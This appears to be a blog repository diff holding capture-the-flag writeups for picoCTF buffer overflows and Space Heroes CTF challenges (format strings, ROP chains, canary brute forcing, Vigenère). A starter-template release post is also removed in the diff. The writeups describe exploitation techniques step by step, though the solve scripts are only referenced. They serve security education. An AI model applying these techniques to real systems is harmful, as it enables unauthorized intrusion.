![Payload Visual](/static/images/picoctf-2022/buffer-overflow/payload-visual.png)
Let's write our payload and send it to the remote server with Python3/pwntools:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-solve" language="python" />
Let's try running the script on the server:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-run" rawHTML={true} terminal={true} />
We have completed our first `ret2win` buffer overflow on a x32 binary! Yet, this is just the beginning. How about we spice things up a little bit?
### IV: Automating the Stack 🔧
Although the concept of buffer overflows can seem daunting to newcomers, experienced pwners will often find these sorts of challenges trivial, and don't want to spend the effort manually finding offsets and addresses just to send the same type of payload. This is where our best friend comes in: **pwntools** helper functions and automation! Let's start with the first part - the `$eip` offset for x32 binaries.
The main helper we will be using is [`pwnlib.elf.corefile`](https://docs.pwntools.com/en/stable/elf/corefile). It can parse [core dump](https://www.ibm.com/docs/en/aix/7.1?topic=formats-core-file-format) files, which are generated by Linux whenever errors occur during a running process. These files take an **image** of the process when the error occurs, which may assist the user in the debugging process. Remember when we sent a large `cyclic` pattern which was used to cause a segmentation fault? We'll be using the core dump to view the state of the registers during that period, without needing to step through it using GDB. We'll be using the coredump to eventually find the offset!
<Box
type="info"
text="**Info**: Many Linux systems do not have core dumps properly configured. For bash, run `ulimit -c unlimited` to generate core dumps of unlimited size. For tsch, run `limit coredumpsize unlimited`. By default, cores are dumped into either the current directory or `/var/lib/systemd/coredump`."
/>
Before we start, let's work through the steps with command-line Python. First, let's import the pwntools global namespace and generate an `elf` object using pwntool's `ELF()`:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-elf-object" rawHTML={true} terminal={true} />
We can then generate a `cyclic()` payload and start a local process referencing the aforementioned `elf` object. Sending the payload and using the [`.wait()`](https://www.educba.com/python-wait/) method will throw an exit code -11, which signals a segmentation fault and generates a core dump.
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-coredump" rawHTML={true} terminal={true} />
We can now create a corefile object and freely reference registers! To find the offset, we can simply call the object key within `cyclic_find()`.
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-registers" rawHTML={true} terminal={true} />
Now that we know how ELF objects and core dumps work, let's apply them to our previous script. Another cool helper I would like to implement is [`flat()`](https://docs.pwntools.com/en/stable/util/packing.html) (which has a great tutorial [here](https://www.youtube.com/watch?v=AMDbbuLaXfk), referred to by the legacy alias `fit()`), which flattens arguments given in lists, tuples, or dictionaries into a string with `pack()`. This will help us assemble our payload without needing to concatenate seemingly random strings of `A`s and little-endian addresses, increasing readability.
This is my final, completely automated script:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-solve-automated" language="python" />
Let's run the script on the server:
<CodeBlock src="picoctf-2022/buffer-overflow/bo1-run-automated" rawHTML={true} terminal={true} />
We've successfully automated a solve on a simple x32 buffer overflow!
---
<Challenge
title="Buffer overflow 2"
authors={['Sanjay C.', 'Palash Oswal']}
solvers="jktrn"
category="pwn"
points="300"
description="Control the return address and arguments.
This time you'll need to control the arguments to the function you return to! Can you get the flag from this [program](#go-to-picogym)?
You can view source [here](#go-to-picogym). And connect with it using:
`nc saturn.picoctf.net [PORT]`"
/>
<Box
type="warning"
text="**Warning**: This is an **instance-based** challenge. Port info will be redacted alongside the last eight characters of the flag, as they are dynamic."
/>
<CodeBlock src="picoctf-2022/buffer-overflow/bo2-checksec" rawHTML={true} terminal={true} />
Let's check out our source code:
<CodeBlock src="picoctf-2022/buffer-overflow/bo2-attachment" language="c" scrollable={true} />
Looking at the `win()` function, we can see that two arguments are required that need to be passed into the function to receive the flag. Two guard clauses lay above the flag print:
<CodeBlock src="picoctf-2022/buffer-overflow/bo2-attachment" language="c" range={[[19, 24]]} />
The goal is simple: call `win(0xCAFEF00D, 0xF00DF00D)`! We'll be doing it the hard way (for a learning experience), in addition to a more advanced easy way. Let's get started.
### I: The Hard Way 🐢
We can apply a lot from what we learned in Buffer overflow 1. The first thing we should do is find the offset, which requires no hassle with pwntools helpers! Although we'll get actual number here, I won't include it in the final script for the sake of not leaving out any steps. Simply segfault the process with a cyclic string, read the core dump's fault address (`$eip`) and throw it into `cyclic_find()`:
<CodeBlock src="picoctf-2022/buffer-overflow/bo2-coredump" rawHTML={true} terminal={true} />
The next thing we need to know about is the way functions are laid out on the stack. Let's recall the diagram I drew out earlier:
![Stack Diagram](/static/images/picoctf-2022/buffer-overflow/stack-visual2.png)
If we want to call a function with parameters, we'll need to include the base pointer alongside a return address, which can simply be `main()`. With this, we can basically copy our script over from Buffer overflow 1 with a few tweaks to the payload:
<CodeBlock src="picoctf-2022/buffer-overflow/bo2-solve" language="python" />
Let's run it on the remote server:
<CodeBlock src="picoctf-2022/buffer-overflow/bo2-run" rawHTML={true} terminal={true} />
### II: The Easy Way 🐇
But... what if you wanted to be an even **more** lazy pwner? Well, you're in luck, because I present to you: the **[pwntools ROP object](https://docs.pwntools.com/en/stable/rop/rop.html)**! By throwing our elf object into `ROP()` it transforms, and we can use it to automatically call functions and build chains! Here it is in action:
<CodeBlock src="picoctf-2022/buffer-overflow/bo2-solve-automated" language="python" />
Let's run it on the remote server:
<CodeBlock src="picoctf-2022/buffer-overflow/bo2-run-automated" rawHTML={true} terminal={true} />
We've successfully called a function with arguments through buffer overflow!
---
<Challenge
title="Buffer overflow 3"
authors={['Sanjay C.', 'Palash Oswal']}
solvers="jktrn"
category="pwn"
points="300"
description="Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this [program](#go-to-picogym) to protect against buffer overflows. You can view source [here](#go-to-picogym). And connect with it using:
`nc saturn.picoctf.net [PORT]`"
/>
<Box
type="warning"
text="**Warning**: This is an **instance-based** challenge. Port info will be redacted alongside the last eight characters of the flag, as they are dynamic."
/>
<CodeBlock src="picoctf-2022/buffer-overflow/bo3-checksec" rawHTML={true} terminal={true} />
### I: Finding the Canary 🐦
So, Dr. Oswal apparently implemented a [stack canary](https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/), which is just a **dynamic value** appended to binaries during compilation. It helps detect and mitigate stack smashing attacks, and programs can terminate if they detect the canary being overwritten. Yet, `checksec` didn't find a canary. That's a bit suspicious... but let's check out our source code first:
<CodeBlock src="picoctf-2022/buffer-overflow/bo3-attachment" language="c" scrollable={true} />
If you look closely, you might be able to see why `checksec` didn't find a stack canary. That's because it's actually a static variable, being read from a `canary.txt` on the host machine. Canaries that aren't implemented by the compiler are not really canaries!
Knowing that the canary will be four bytes long (defined by `CANARY_SIZE`) and immediately after the 64-byte buffer (defined by `BUFSIZE`), we can write a brute forcing script that can determine the correct canary with a simple trick: **by not fully overwriting the canary the entire time!** Check out this segment of source code:
<CodeBlock src="picoctf-2022/buffer-overflow/bo3-attachment" language="c" range={[[60, 64]]} />
This uses `memcmp()` to determine if the current canary is the same as the global canary. If it's different, then the program will run `exit(-1)`, which is a really weird/invalid exit code and supposedly represents "[abnormal termination](https://softwareengineering.stackexchange.com/questions/314563/where-did-exit-1-come-from)":
![memcmp1](/static/images/picoctf-2022/buffer-overflow/memcmp1.svg)
However, if we theoretically overwrite the canary with a single correct byte, `memcmp()` won't detect anything!:
![memcmp2](/static/images/picoctf-2022/buffer-overflow/memcmp2.svg)
### II: Bypassing the Canary 💨
We can now start writing our script! My plan is to loop through all printable characters for each canary byte, which can be imported from `string`. Let's include that in our pwn boilerplate alongside a simple function that allows us to swap between a local and remote instance:
<CodeBlock src="picoctf-2022/buffer-overflow/bo3-solve" language="python" range={[[1, 13]]} />
Here's the big part: the `get_canary()` function. I'll be using [`pwnlib.log`](https://docs.pwntools.com/en/stable/log.html) for some spicy status messages. My general process for the brute force is visualized here if you're having trouble:
![Brute Force Visual](/static/images/picoctf-2022/buffer-overflow/brute-visual.svg)
I'll be initially sending 64 + 1 bytes, and slowly appending the correct canary to the end of my payload until the loop has completed four times:
<CodeBlock src="picoctf-2022/buffer-overflow/bo3-solve" language="python" range={[[15, 30]]} />
The final thing we need to figure out is the offset between the canary to `$eip`, the pointer register, which we will repopulate with the address of `win()`. We can do this by appending a cyclic pattern to the end of our current payload (64 + 4 canary bytes) and reading the Corefile's crash location, which will be the `$eip`:
<Box
type="info"
text="**Note**: My canary is `abcd` because I put that in my `canary.txt`. It will be different on the remote server!"
/>
<CodeBlock src="picoctf-2022/buffer-overflow/bo3-coredump" rawHTML={true} terminal={true} />
The offset is 16, so we'll have to append that amount of bytes to the payload followed by the address of `win()`. I'll combine all sections of our payload together with `flat()`, and then hopefully read the flag from the output:
<CodeBlock src="picoctf-2022/buffer-overflow/bo3-solve" language="python" range={[[32, 37]]} />
Here is my final script with all of its components put together:
<CodeBlock src="picoctf-2022/buffer-overflow/bo3-solve" language="python" scrollable={true} />
Running the script:
<CodeBlock src="picoctf-2022/buffer-overflow/bo3-run" rawHTML={true} terminal={true} />
We've successfully performed a brute force on a vulnerable static canary!

View File

@@ -1,210 +0,0 @@
---
title: 'Release of Tailwind Nextjs Starter Blog v2.0'
date: '2023-08-05'
lastmod: '2023-08-05'
tags: ['next-js', 'tailwind', 'guide', 'feature']
draft: false
summary: 'Release of Tailwind Nextjs Starter Blog template v2.0, refactored with Nextjs App directory and React Server Components setup.Discover the new features and how to migrate from V1.'
images: ['/static/images/twitter-card.png']
authors: ['enscribe']
layout: PostLayout
---
## Introduction
<CodeBlock
src="test"
language="cs"
scrollable={true}
fileName="Assets/Scripts/FullscreenHandler.cs"
title="Fullscreen Handler Script"
/>
<Challenge
title="I don't dream about noodles, dad"
solvers="jktrn"
files="[po.png](/static/images/byuctf-2022/po1.png)"
category="osint"
points="100"
description="Whose signature is found beneath Po's foot?
Flag format: `byuctf{Firstname_Lastname}`
<Image src='/static/images/byuctf-2022/po1.png' className='!mb-0 w-72' alt='po.png' />
<figcaption>po.png</figcaption>"
/>
Welcome to the release of Tailwind Nextjs Starter Blog template v2.0. This release is a major refactor of the codebase to support Nextjs App directory and React Server Components. Read on to discover the new features and how to migrate from V1.
<TOCInline toc={props.toc} exclude="Introduction" />
## V1 to V2
The template was first released in January 2021 and has since been used by thousands of users. It is featured on [Next.js Templates](https://vercel.com/templates/next.js/tailwind-css-starter-blog), [Tailwind Awesome](https://www.tailwindawesome.com/resources/tailwind-nextjs-starter-blog) among other listing sites. It attracts 200+ unique visitors daily notching 1500-2000 page views, with 1.3k forks and many other clones.
Many thanks to the community of users and contributors for making this template a success! I created a small video montage of the blogs (while cleaning up the list in the readme) to showcase the diversity of the blogs created using the template and to celebrate the milestone:
<video controls>
<source
src="https://github-production-user-asset-6210df.s3.amazonaws.com/28362229/258559849-2124c81f-b99d-4431-839c-347e01a2616c.webm"
type="video/webm"
/>
</video>
Version 2 builds on the success of the previous version and introduces many new features and improvements. The codebase has been refactored to support Next.js App directory and React Server Components. Markdown / MDX is now processed using Contentlayer, a type-safe content SDK that validates and transforms your content into type-safe JSON data. It integrates with Pliny, a new library that provides out of the box Next.js components to enhance your static site with analytics, comments and newsletter subscription. A new command palette (⌘-k) search component is also added to the template.
Let's dive into the new features and improvements in V2.
## Next.js App Directory and React Server Components
Now that [Next.js App router](https://nextjs.org/docs/app) is finally stable and is mostly feature compatible with Page Router, the codebase has been migrated to new setup. This allows for a hybrid rendering approach, with the use of React Server Components generated on the server side for faster page loads and smaller bundle sizes, while retaining the ability to sprinkle in client side React components for interactivity.[^1]
With addition powers comes a [new paradigm](https://nextjs.org/docs/getting-started/react-essentials) to learn. I have migrated the codebase to make use of the new features as much as possible. This includes changes in the folder structure, splitting components into server vs client components, leveraging server side data fetching and using the recommended [Metadata](https://nextjs.org/docs/app/building-your-application/optimizing/metadata) API for SEO discoverability.
While this simplifies the codebase to some extent, it makes migration from the old codebase more difficult. If you are looking to migrate, I recommend starting from a fresh template and copying over your customizations and existing content. See the [migration recommendations](#migration-recommendations) section for more details.
## Typescript First
The codebase has been migrated to Typescript. While the previous version of the template was available in both Javascript and Typescript, I decided to reduce the maintenance burden and focus on Typescript. This also allows for better type checking and code completion in IDEs.
Typescript is also a perfect match with our new type-safe markdown processor - Contentlayer.
## Contentlayer
[Contentlayer](https://www.contentlayer.dev/) is a content SDK that validates and transforms your content into type-safe JSON data that you can easily import into your application. It makes working with local markdown or MDX files a breeze. This replaces `MDX-bundler` and our own markdown processing workflow.
First, a content source is defined, specifiying the name of the document type, the source where it is located along with the frontmatter fields and any additional computed fields that should be generated as part of the process.
```ts:contentlayer.config.ts
export const Blog = defineDocumentType(() => ({
name: 'Blog',
filePathPattern: 'blog/**/*.mdx',
contentType: 'mdx',
fields: {
title: { type: 'string', required: true },
date: { type: 'date', required: true },
tags: { type: 'list', of: { type: 'string' }, default: [] },
...
},
computedFields: {
readingTime: { type: 'json', resolve: (doc) => readingTime(doc.body.raw) },
slug: {
type: 'string',
resolve: (doc) => doc._raw.flattenedPath.replace(/^.+?(\/)/, ''),
}
...
},
}))
```
Contentlayer then processes the MDX files with our desired markdown remark or rehype plugins, validates the schema, generate type definitions and output json files that can be easily imported in our pages. Hot reloading comes out of the box, so edits to the markdown files will be reflected in the browser immediately!
## Pliny
A large reason for the popularity of the template was its customizability and integration with other services from analytics providers to commenting solutions. However, this means that a lot of boilerplate code has to be co-located within the template even if the user does not use the feature. Updates and bug fixes had to be copied manually to the user's codebase.
To solve this, I have abstracted the logic to a separate repository - [Pliny](https://github.com/timlrx/pliny). Pliny provides out of the box Next.js components to enhance static sites:
- Analytics
- Google Analytics
- Plausible Analytics
- Simple Analytics
- Umami Analytics
- Posthog
- Comments
- Disqus
- Giscus
- Utterances
- Newsletter (uses Next 13 API Routes)
- Buttondown
- Convertkit
- Email Octopus
- Klaviyo
- Mailchimp
- Revue
- Command palette search with tailwind style sheet
- Algolia
- Kbar (local search)
- UI utility components
- Bleed
- Newsletter / Blog Newsletter
- Pre / Code block
- Table of Contents
Choose your preferred service by modifying `siteMetadata.js` and changing the appropriate fields. For example to change from Umami Analytics to Plausible, we can change the following fields:
```diff-js:siteMetadata.js
analytics: {
- umamiAnalytics: {
- // We use an env variable for this site to avoid other users cloning our analytics ID
- umamiWebsiteId: process.env.NEXT_UMAMI_ID, // e.g. 123e4567-e89b-12d3-a456-426614174000
- },
+ plausibleAnalytics: {
+ plausibleDataDomain: '', // e.g. tailwind-nextjs-starter-blog.vercel.app
+ },
},
```
Changes in the configuration file gets propagated to the components automatically. No modification to the template is required.
Under the hood, Pliny exports high level components such as `<Analytics analyticsConfig={analyticsConfig}/>` and `<Comments commentsConfig={commentsConfig}/>` which takes in a configuration object and renders the appropriate component. Since the layouts are defined on the server side, Next.js is able to use the configuration object to determine which component to render and send only the required component bundle to the client.
## New Search Component
What's a blog in 2023 without a command palette search bar?
One of the most highly requested features have been added 🎉! The search component supports 2 search providers - Algolia and Kbar local search.
### Algolia
[Algolia Docsearch](https://docsearch.algolia.com/) is popular free service used across many documentation websites. It automatically scrapes the website that has is submitted for indexing and makes the search result available via a beautiful dialog modal. The pliny component is greatly inspired by the Docusaurus implementation and comes with a stylesheet that is compatible with the Tailwind CSS theme.
### Kbar
[Kbar](https://github.com/timc1/kbar) is a fast, portable, and extensible cmd+k interface. The pliny implementation uses kbar to create a local search dialog box. The component loads a JSON file, default `search.json`, that was created in the contentlayer build process. Try pressing ⌘-k or ctrl-k to see the search bar in action!
## Styling and Layout Updates
### Theming
`tailwind.config.js` has been updated to use tailwind typography defaults where possible and to use the built-in support for dark mode via the `prose-invert` class. This replaces the previous `prose-dark` class and configuration.
The primary theme color is updated from `teal` to `pink` and the primary gray theme from `neutral` to `gray`.
Inter is now replaced with Space Grotesk as the default font.
### New Layouts
Layout components available in the `layouts` directory, provide a simple way to customize the look and feel of the blog.[^2]
The downside of building a popular template is that you start seeing multiple similar sites everywhere 😆. While users are encouraged to customized the layouts to their liking, having more layout options that are easily switchable promotes diversity and perhaps can be a good starting point for further customizations.
In v2, I added a new post layout - `PostBanner`. It features a large banner image and a centered content container. Check out "[Pictures of Canada](/blog/pictures-of-canada)" blog post which has been updated to use the new layout.
The default blog listing layout has also been updated to include a side bar with blog tags. The search bar in the previous layout has been replace with the new command palette search. To switch back to the old layout, simply change the pages that use the `ListLayoutWithTags` component back to the original `ListLayout`.
## Migration Recommendations
Due to the large changes in directory structure, setup and tooling, I recommend starting from a fresh template and copying existing content, followed by incrementally migrating changes over to the new template.
Styling changes should be relatively minor and can be copied over from the old `tailwind.config.js` to the new one. If copying over, you might need to add back the `prose-dark` class to components that opt into tailwind typography styling. Do modify the font import in the root layout component to use the desired font of choice.
Changes to the MDX processing pipeline and schema can be easily ported to the new Contentlayer setup. If there are changes to the frontmatter fields, you can modify the document type in `contentlayer.config.ts` to include the new fields. Custom plugins can be added to the `remarkPlugins` and `rehypePlugins` properties in the `makeSource` export of `contentlayer.config.ts`.
Markdown layouts are no longer sourced automatically from the `layouts` directory. Instead, they have to be specified in the `layouts` object defined in `blog/[...slug]/page.tsx`.[^3]
To port over larger components or pages, I recommend first specificing it as a client component by using the `"use client"` directive. Once it renders correctly, you can split the interactive components (parts that rely on `use` hooks) as a client component and keep the remaining code as a server component. Consult the comprehensive Next.js [migration guide](https://nextjs.org/docs/app/building-your-application/upgrading/app-router-migration#migrating-from-pages-to-app) for more details.
## Conclusion
I hope you enjoy the new features and improvements in V2. If you have any feedback or suggestions, feel free to open an issue or reach out to me on [Twitter](https://twitter.com/timlrx).
## Support
Using the template? Support this effort by giving a star on GitHub, sharing your own blog and giving a shoutout on Twitter or be a project [sponsor](https://github.com/sponsors/timlrx).
## Licence
[MIT](https://github.com/timlrx/tailwind-nextjs-starter-blog/blob/main/LICENSE) © [Timothy Lin](https://www.timrlx.com)
[^1]: The previous version injects Preact into the production build. However, this is no longer possible as it does not support React Server Components. While overall bundle size has increased to about 85kB, most of the content can be pre-rendered on the server side, resulting in a low first contentful paint and time to interactive. Using React throughtout also leads to more consistent behavior with external libraries and components.
[^2]: This is different from Next.js App Directory layouts and are best thought of as reusable React containers.
[^3]: This takes advantage of Server Components by making it simple to specify the layout of choice in the markdown file and match against the `layouts` object which is then used to render the appropriate layout component.

View File

@@ -1,9 +1,8 @@
---
title: "A Hackable Unity Implementation of Project Sekai's Gacha System"
title: 'SekaiCTF 2023: A Hackable Unity Implementation of Project Sekais Gacha System'
date: '2023-08-15'
lastmod: '2023-08-15'
tags: ['unity', 'game-hacking', 'reverse-engineering']
draft: false
summary: "I created a fully functional, hackable replica of Project Sekai's gacha system for SekaiCTF 2023. This was my design process."
thumbnail: '/static/images/sekaictf-2023/banner.png'
images: ['/static/images/sekaictf-2023/banner.webp']

View File

@@ -0,0 +1,263 @@
---
title: 'Space Heroes CTF: Writeup Compilation'
date: '2022-04-06'
lastmod: '2022-04-06'
tags: ['compilation']
authors: ['enscribe']
summary: 'Learn brute-forced format string attacks, blind buffer overflows, and return-oriented programming in this writeup compilation from Space Heroes CTF.'
thumbnail: '/static/images/shctf-2022/banner.svg'
images: ['/static/images/shctf-2022/banner.webp']
# - ctfs/shctf/pwn/guardians-of-the-galaxy/
# - ctfs/shctf/pwn/vader/
# - ctfs/shctf/pwn/warmup-to-the-dark-side/
# - ctfs/shctf/crypto/rahools-challenge/
layout: PostSimple
---
### Intro
So me and a couple of LFGs (looking-for-groups) played [Space Heroes CTF](https://ctftime.org/event/1567/), organized by Florida Tech's [FITSEC](https://ctftime.org/team/65296) cybersecurity team. As one of the first CTFs I've played in over a year, it was an amazing learning experience for me being thrown into the mystical world of binary exploitation/pwn. I've made a couple of writeups for the cooler challenges I've solved; enjoy!
---
<Challenge
title="Guardians of the Galaxy"
authors="GlitchArchetype"
solvers="jktrn"
category="pwn"
points="100"
description="Ronan the Accuser has the Power Stone. Can Starlord find a successful distraction format?
`nc 0.cloud.chals.io 12690`"
/>
<CodeBlock src="shctf-2022/gotg-checksec" rawHTML={true} terminal={true} />
Let's look at what happens when you run that binary given to us:
<CodeBlock src="shctf-2022/gotg-error" rawHTML={true} terminal={true} />
This error is because the binary is probably trying to reference a `flag.txt` within its directory that doesn't exist. Let's create one and run it again:
<CodeBlock src="shctf-2022/gotg-fix" rawHTML={true} terminal={true} />
There, we got it to work locally. Since we know that this is problem a format string vulnerability from the "find a successful distraction format" part of the description, let's assume that the vulnerability is it writing our input to the stack with `printf()`. We will need to work our way up the stack with the format `%n$s`, where `n` is the decimal index of the argument you want, and `s` is the `printf()` specifier for a **string of characters**. Here is a Python script used to brute force our way up:
<CodeBlock src="shctf-2022/gotg-solve" language="python" />
This script will send a UTF-8 encoded format string, with `str(i)` being the iterating variable. If its output contains the flag, the loop breaks and the script will stop. Let's run it:
<CodeBlock src="shctf-2022/gotg-run" rawHTML={true} scrollable={true} terminal={true} />
---
<Challenge
title="Vader"
authors="v10l3nt"
solvers="jktrn"
files="[vader](/asset/shctf/vader) (ELF)"
category="pwn"
points="100"
description="Submit flag from `/flag.txt` from `0.cloud.chals.io:20712`"
/>
<CodeBlock src="shctf-2022/vader-checksec" rawHTML={true} terminal={true} />
As with any other sourceless pwn challenge, we first need to boot it up in the **Ghidra** disassembler for static analysis. Let's check what our `main()` function does:
<CodeBlock src="shctf-2022/vader-ghidra1" language="c" />
Looks like it reads our input (`stdin`) with a fixed length of 256 through `fgets()`. Let's continue sifting around:
<CodeBlock src="shctf-2022/vader-ghidra2" language="c" scrollable={true} />
The goal is now clear: call the `vader()` function with five correct arguments to print the flag. Simple, right? Let's start building our chain.
Firstly, we need to calculate our **offset**. Although we can brute this by simply passing a `cyclic` string and seeing what's overwritten the `$rsp` register, we can see that in the `main()` function, 32 bytes are allocated to `char local_28`. We can assume this is the buffer, so if we overflow this and append an additional 8 bytes to cover the `$rbp` register, our offset is 40.
Next in line is the process of getting our arguments on the stack. Arguments to be passed into functions are also held in registers -- we need to figure out which ones we need to use to pass the correct arguments (`DARK`, `S1D3`, `OF`, `TH3`, `FORC3`) into `vader()`. Referencing [this x64 cheatsheet](https://cs.brown.edu/courses/cs033/docs/guides/x64_cheatsheet.pdf) (as the registers are different depending on the bitness/architecture of the ELF):
> To call a function, the program should place the first six integer or pointer parameters in the registers `$rdi`, `$rsi`, `$rdx`, `$rcx`, `$r8`, and `$r9`; subsequent parameters (or parameters larger than 64 bits) should be pushed onto the stack, with the first argument topmost. The program should then execute the call instruction, which will push the return address onto the stack and jump to the start of the specified function.
Therefore, we need to put our arguments into `$rdi`, `$rsi`, `$rdx`, `$rcx`, and `$r8`. The main method of doing this is via **gadgets**, or simple assembly instructions that can be used to `pop` specific registers from the stack. After the `pop`, we can repopulate the register with our own address that represents the required string (this address will be located within the binary). Additionally, they almost always have a `ret` instruction at the end to return to _even more_ gadgets, therefore creating a **ROP chain**.
**Note**: The program literally provides gadget functions for you:
<CodeBlock src="shctf-2022/vader-dis" language="yml" showLineNumbers={false} />
Although you can use these, it's not really in the nature of a ROP challenge, so I will be finding the gadgets manually!
To find the gadgets we need, we will be utilizing a program called `ropper` and `grep`-ing the output:
<CodeBlock src="shctf-2022/vader-ropper1" rawHTML={true} terminal={true} />
Check it out -- at the bottom of the code block (`0x40165b`) there's a perfect gadget for us to use! Let's find ones for the rest of them:
<CodeBlock src="shctf-2022/vader-ropper2" rawHTML={true} terminal={true} />
The first `pop rsi; pop r15;` isn't ideal, as it's popping a redundant register -- we'll need to repopulate it with 8 bytes of garbage. On the other hand, the `pop rcx; pop r8;` takes care of two registers at once!
With that, we can draw up a visual of what our final payload will look like:
![Payload Visual](/static/images/shctf-2022/payload-visual.svg)
The last thing we need to do is to find the hex addresses of our argument strings:
![Ghidra Strings](/static/images/shctf-2022/strings.png)
Don't forget the address of `vader()` too!:
<CodeBlock src="shctf-2022/vader-address" rawHTML={true} terminal={true} />
Here is my final script, which defines a variable for each section of our gigantic payload — this is for enhanced readability. I've also used the `p64()` function, which converts the address into little endian:
<CodeBlock src="shctf-2022/vader-solve" language="python" />
I don't usually do this, but here's a clip of me initially solving the challenge by running the above script:
<div className="my-6">
<YouTube youTubeId="rvMORfSC2CU" />
</div>
This is considered a "simple" challenge for those experienced with the field of return-oriented programming within pwn/binary challenges. However, I had none prior to this competition, so <kbd>Vader</kbd> was one of the most time-consuming and annoying challenges to work with. Yet, it was probably the most satisfying solve throughout the entire competition, and it was my first time utilizing gadgets and building a ROP chain. I hope you enjoyed!
---
<Challenge
title="Warmup to the Dark Side"
authors="v10l3nt"
solvers="jktrn"
description="Once you start down the dark path, forever will it dominate your destiny. (And yes, the binary isn't included)
`nc 0.cloud.chals.io 30096`"
points="100"
category="pwn"
/>
Let's run that `netcat` link to see what's going on:
<CodeBlock src="shctf-2022/wttds-netcat" rawHTML={true} terminal={true} />
We're given an address of the `win()` function... and that's it. If this is a `ret2win` challenge, how are we meant to find the offset of the `$rip` register and overflow it with our code? Of course... we need to brute force it.
In the code snippet below, I got the address provided in the prompt by reading the line and taking its substring (ASLR is enabled, so it's different each time). Then, I slowly increased the buffer of the payload with a loop until I found the correct offset of the `$rip`:
<CodeBlock src="shctf-2022/wttds-solve" language="python" />
Let's run this script on the server to see if we can get the flag:
<CodeBlock src="shctf-2022/wttds-run" rawHTML={true} terminal={true} />
---
<Challenge
title="Rahool's Challenge"
authors="excaligator"
solvers="jktrn"
description="`nc 0.cloud.chals.io 10294`"
points="331"
category="crypto"
/>
Let's open that `netcat` link to see what's going on:
<CodeBlock src="shctf-2022/rahool-netcat" rawHTML={true} terminal={true} scrollable={true} />
For themed CTFs, I find it really fun to figure out the cultural references in the challenge before solving them. In this case, **Rahool** is a vendor in the _Destiny 2_ Tower that can decrypt legendary engrams (purple) and sell exotic engrams (gold). Uncoincidentally, that's what we'll be doing here.
Immediately, we can tell that the ciphertext underneath the giant Rahool ASCII is substitution. This means that the plaintext is simply substituted by a value determined by the algorithm. Throwing it into this [cipher identifier](https://www.boxentriq.com/code-breaking/cipher-identifier), we find that it is a **Vigenère** cipher.
Before moving on, we need to figure out what the hell a Vigenère is.
### The Vigenère Cipher
A Vigenère cipher is a type of encryption that uses both plaintext and a **key**. There are many ways to use this encryption method, but the most common is via **addition** and **table/tabula recta**.
To encrypt using addition, take the position in the alphabet of the first letter in your plaintext (make sure it starts at 0, i.e. A = 0, B = 1, C = 2) and add it with the position of your key (if the key was "key", the position would be 10 as K = 10). Then, take the **modulo** 26 (divide by 26 to get the remainder, symbol `%`), as some numbers add up to greater than 26.
```text
Plaintext: hello
Key: key
h (07) + k (10) = r (17 % 26 = 17)
e (04) + e (04) = i (08 % 26 = 08)
l (11) + y (24) = j (35 % 26 = 09)
l (11) + k (10) = v (21 % 26 = 21) <- Note that the key cycles
o (14) + e (04) = s (18 % 26 = 18)
Ciphertext: rijvs
```
In a formula, where A is the plaintext's alphabetic position and B is the key's alphabetic position, in that would be:
$$
C = (A + B) \bmod 26
$$
It'll be a more manual process (albeit more fun) for encrypting via table/tabula recta. Let's check out what it looks like (Source: [Wikipedia](https://en.wikipedia.org/wiki/Tabula_recta)):
![Wikipedia](https://upload.wikimedia.org/wikipedia/commons/thumb/9/9a/Vigen%C3%A8re_square_shading.svg/1024px-Vigen%C3%A8re_square_shading.svg.png)
Each of the 26 rows contains the same alphabet, except shifted to the left by one position. At the top, each **column** is associated with a letter in the alphabet. To the left, each **row** is associated with a letter in the key.
If I wanted to encrypt `HELLO` with `WORLD` as the key, I would find the cell that intersects with column `H` and row `W`. In that case, it would be `D`. Then, I would find the cell that intersects with column `E` and row `O`. In that case, it would be `S`. Rinse and repeat for the entire phrase.
### Cheaters Never Win...
But how are we supposed to decrypt vigenere without a key? Let's do some "OSINT" and Google the crap out of it. [DCode](https://www.dcode.fr/vigenere-cipher), which can keylessly decrypt substitution ciphers, is the first option. Click, clack, `Ctrl + Shift + C`, `Ctrl + V` later and we have solved it!!1!1!
![Rahool DCode](/static/images/shctf-2022/rahool-dcode.png)
Or not. Wait... the plaintext is telling me to replace my `E` with a `3` and my `O` with an `0`. Those aren't in `RKBGVP`. What's going on? Is the website wrong?
### ...Or Do They?
Let's go back to the drawing board and look at the problem again.
> We've found ourselves an encrypted engram - Can you break the **(new and improved)** indecipherable cipher?
> Message:A + Key:B = 0 + B = O
Since this cipher is "new and improved", we can assume it's not just your normal Vigenère. However, the `A + B = O` is the biggest giveaway of what we are meant to do for this challenge.
**Take it literally. The letter A (plaintext) plus the letter B (key) is equal to the letter O (ciphertext).**
I solved this challenge via **known-plaintext attack**. Yeah, it sounds fancy. But here's what I actually did:
![Rahool Vigenere](/static/images/shctf-2022/rahool-vigenere.png)
This is a tabula recta with a modified offset. You see how intersecting column A and row B would return O?
Since we know our plaintext, we can use this table "backwards" to find the key. If you go down the column of your letter and find its equivalent ciphertext letter, it would be on the same row as the key for that letter!
For example, if `C` is our plaintext and `Q` is our ciphertext, the key would be `B`.
Let's follow this process for the actual plaintext/ciphertext:
```text
Ciphertext: ESDK EDS NFIMNGDJTB XEZVZ OWV KOYRTI KT ZCT BOZ CDIY DIK Z PJ K UNMTV DIK J PJ K AKMD NSUN OWV GPXY TEQSGH PWDFX RXKR UNZ P RC B LJJI KOJ VDXXFX MXXRU GAIVB
Plaintext: NICE JOB DECRYPTING INPUT THE ANSWER AS THE KEY WITH THE E AS A THREE THE O AS A ZERO WITH THE WORD ENGRAM AFTER WITH THE A AS A FOUR AND AOGNER RIGHT AFTER
```
```text
E + N -> E
S + I -> X
D + C -> O
K + E -> T
E + J -> I
D + O -> C
S + B -> E
N + D -> X
F + E -> O
I + C -> T
M + R -> I
N + Y -> C
G + P -> E
...
```
The key is `EXOTIC`, as in how Master Rahool sells exotic engrams. Very funny.
We can now follow the instructions in the plaintext and send it to the server with an unnecessary `pwntools` script:
<CodeBlock src="shctf-2022/rahool-solve" language="python" />
Sending the string:
<CodeBlock src="shctf-2022/rahool-run" rawHTML={true} terminal={true} />
We just solved `Rahool's Challenge` without needing to write any algorithms!

View File

